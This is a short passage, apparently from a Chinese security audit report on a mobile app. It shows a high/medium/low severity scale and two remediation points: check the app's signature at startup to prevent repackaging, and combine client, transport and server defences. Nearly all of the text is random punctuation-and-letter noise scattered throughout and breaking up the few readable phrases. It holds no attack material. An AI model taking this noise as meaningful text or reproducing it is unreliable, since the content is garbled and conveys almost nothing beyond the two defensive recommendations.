, W2 p4 a3 K( ^: b + @' [. a/ N* W7 ~ 1 j1 N: M; ^8 |% k; d ' O6 W: S2 R4 ` | \& N7 F M, W% m1 \7 T+ e- z+ S5 m( a5 K: K! d h$ D& Y4 o; k5 d/ F: Y5 `- P# a8 M8 G* g( ]$ x% X/ _; T1 N+ Z( j$ {1 j, b( R7 x/ k' O4 l1 D5 G, c/ x S( _. Q3 v5 I, w- R# \9 J* h) W: R) b$ R" C3 D: Y% W2 k a- {( a; a6 s! j* J7 W" _1 \, B8 ^& Z: D: b \+ y. @3 k8 m! [5 O, [( B r/ s" t' N4 U# |( Y9 H5 b, p- Q) i/ M& |) `( Q6 c/ [: m, M; n) y6 j5 v8 y- o& @- L% N3 n% O0 p) r6 l U6 ^6 I

0 o; C9 y( J2 C: k" Y$ ] 严重程度 % G/ @$ o! R) ~# i* Q7 i" k	; R3 e8 Y6 B) u, j+ {2 A ' f/ ~1 g) }3 E2 p( |! P# Y1 C8 o0 v' i 高 - q: i N9 k0 e# A& q	4 {; \ [( w s B' A# [ ' p7 s& q2 U- o ■ ! [ g. |( {; }# K( d/ }2 N	: ^' w+ A' E; x% o% l 中 ) {1 L2 f: \+ i% R V3 q3 r	8 s! A7 v8 o B1 { ) S# h! x3 w A% P; q   % `: p* W; `- Y$ Y : g' @, S/ O- }# h1 L, Q ) ]6 T9 u2 [$ H! h7 V	! s% z9 n1 l0 _* M* i 8 y+ J3 c) M1 f, x( i 2 q8 i( c7 C) |* F: \ 低 ; p' B1 b% Q6 q - [( @3 c8 \8 U/ z# m $ F. v U6 e0 [* t0 ~: ~* f8 {	8 N, h! u1 l" P- Z   8 p. B+ @ p1 C M6 [ D d1 } _ 9 r: i% s0 W$ i# @1 { ) ]! m% x: ?! R ( Z g/ m d7 Q

/ Y2 m3 _, [; ^1 i- D8 d" ?% \

 

" R0 p/ J$ T9 ?# q0 l 修复方法： 8 s% u& g |+ m# d2 _/ S

6 K8 A, S: p6 b* @: E % ] z( g: x" D

\) l# _; l6 U5 ?3 J1 [7 }" E ( d n* ]9 P6 [! S, K! b9 W' X               1.在 APP 启动时应做签名校验防止二次打包。
. @& t& k* R [3 ]* B j: i 2 f( c0 M7 S; B1 l: L. U8 e 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 + T5 u( _( n7 |0 F7 h g ! y. O. w' J+ m5 T

0 X: Q0 J3 b% `+ c % H4 |2 L* n( [# J* G- R7 [9 } ' {% `3 B9 j9 ] p 6 u9 F' h8 v8 E7 p$ q' @

1 `5 E: x6 d6 {; P   j/ X- g$ X0 i

7 R: G7 h3 [5 F4 `

- Y8 p5 ~; L) q0 B